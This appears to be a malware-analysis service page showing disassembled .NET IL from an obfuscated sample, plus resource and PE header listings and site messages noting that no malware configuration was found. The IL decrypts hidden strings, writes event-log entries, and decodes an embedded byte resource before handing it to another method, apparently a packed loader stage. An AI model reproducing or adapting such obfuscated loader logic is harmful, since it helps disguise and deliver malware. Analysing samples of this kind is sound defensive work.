nop <null>
ldc.i4 1532721656
ldc.i4.7 <null>
ldc.i4.2 <null>
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
call System.Boolean System.Diagnostics.EventLog::SourceExists(System.String)
stloc.s V_27
ldloc.s V_27
brfalse IL_0551: nop
ldc.i4.4 <null>
stloc.s V_33
br.s IL_041A: ldloc.s V_33
nop <null>
nop <null>
ldc.i4 62397656
ldc.i4.6 <null>
ldc.i8 0
call System.String 0Sext1Z.mMs9W7arrf5Y2/aQp1gj8.8JedGfa6j/qM_4xk6X9yRg.9Legf6Zq3ze/nRi82.jDd5Z7qqrg3S::se9N0Ywjm1Ts6(System.Int32,System.Int32,System.Int64)
newobj System.Void System.Diagnostics.EventLog::.ctor(System.String)
stloc.s V_28
br.s IL_047B: br.s IL_047D
br.s IL_047D: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_04A1: ldloc.s V_28
ldloc.s V_28
nop <null>
ldc.i4 1532721663
ldc.i4.0 <null>
ldc.i4.4 <null>
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
callvirt System.Void System.Diagnostics.EventLog::set_Source(System.String)
nop <null>
ldloc.s V_28
nop <null>
ldc.i4 1532721614
ldc.i4.1 <null>
ldc.i4.s 9
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
ldloc.s V_12
box System.Double
call System.String System.String::Format(System.String,System.Object)
ldc.i4.4 <null>
callvirt System.Void System.Diagnostics.EventLog::WriteEntry(System.String,System.Diagnostics.EventLogEntryType)
ldc.i4.0 <null>
stloc.s V_35
br.s IL_0480: ldloc.s V_35
nop <null>
leave.s IL_0525: br.s IL_0527
br.s IL_04E2: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_37
ldloc.s V_37
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_050A: nop
nop <null>
ldloc.s V_28
brfalse.s IL_0514: ldc.i4.5
ldc.i4.2 <null>
stloc.s V_37
br.s IL_04E5: ldloc.s V_37
ldc.i4.5 <null>
br.s IL_0510: stloc.s V_37
ldloc.s V_28
callvirt System.Void System.IDisposable::Dispose()
nop <null>
ldc.i4.5 <null>
stloc.s V_37
br.s IL_04E5: ldloc.s V_37
endfinally <null>
br.s IL_0527: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_39
ldloc.s V_39
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_054B: nop
nop <null>
ldc.i4.0 <null>
stloc.s V_39
br.s IL_052A: ldloc.s V_39
nop <null>
leave.s IL_0565: br.s IL_0567
br.s IL_0556: br.s IL_0558
br.s IL_0558: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
nop <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0565: br.s IL_0567
br.s IL_0567: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_41
ldloc.s V_41
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_0587: nop
nop <null>
nop <null>
ldc.i4 1532721454
ldc.i4.1 <null>
ldc.i4.s 14
call System.String 0Sext1Z.mMs9W7arrf5Y2::2Coto8RfGdp0(System.Int32,System.Int32,System.Int32)
ldloc.s V_4
ldc.i4.2 <null>
ldelem.ref <null>
castclass System.Byte[]
call System.Byte[] 3jsDB9eapA4m8a.pWd5Fg8o2qzMS/gQ_83rCw.0daHkCp7cg5N2::2oxFgZz0D(System.Byte[])
call System.Object 9mdNT1.Lsp3we::cYp9m6DyZ(System.String,System.Object)
pop <null>
leave.s IL_05D1: br.s IL_05D3
br.s IL_05AE: br.s IL_05B0
br.s IL_05B0: dup
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_29
nop <null>
ldloc.s V_29
callvirt System.String System.Exception::ToString()
ldc.i4.0 <null>
ldnull <null>
call Microsoft.VisualBasic.MsgBoxResult Microsoft.VisualBasic.Interaction::MsgBox(System.Object,Microsoft.VisualBasic.MsgBoxStyle,System.Object)
pop <null>
br.s IL_05CA: call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_05D1: br.s IL_05D3
br.s IL_05D3: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_43
ldloc.s V_43
switch dnlib.DotNet.Emit.Instruction[]
br.s IL_05F3: nop
nop <null>
ret <null>
ldtoken System.Void 3jsDB9eapA4m8a.pWd5Fg8o2qzMS::Spp0oM6()
pop <null>
ret <null>
762de81f8001890144b7c986771bf75a
.Net Resources
yx7LDim28z.Resources.resources
yx7LDim28z.g.resources
73a79da66bca50.Resources.resources
a7ff0f670
[NBF]root.Data
a7ff0f671
[NBF]root.Data
a7ff0f6710
[NBF]root.Data
a7ff0f6711
[NBF]root.Data
a7ff0f6712
[NBF]root.Data
a7ff0f6713
[NBF]root.Data
a7ff0f6714
[NBF]root.Data
a7ff0f6715
[NBF]root.Data
a7ff0f6716
[NBF]root.Data
a7ff0f6717
[NBF]root.Data
a7ff0f6718
[NBF]root.Data
a7ff0f6719
[NBF]root.Data
a7ff0f672
[NBF]root.Data
a7ff0f6720
[NBF]root.Data
a7ff0f6721
[NBF]root.Data
a7ff0f6722
[NBF]root.Data
a7ff0f673
[NBF]root.Data
a7ff0f674
[NBF]root.Data
a7ff0f675
[NBF]root.Data
a7ff0f676
[NBF]root.Data
a7ff0f677
[NBF]root.Data
a7ff0f678
[NBF]root.Data
a7ff0f679
[NBF]root.Data
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙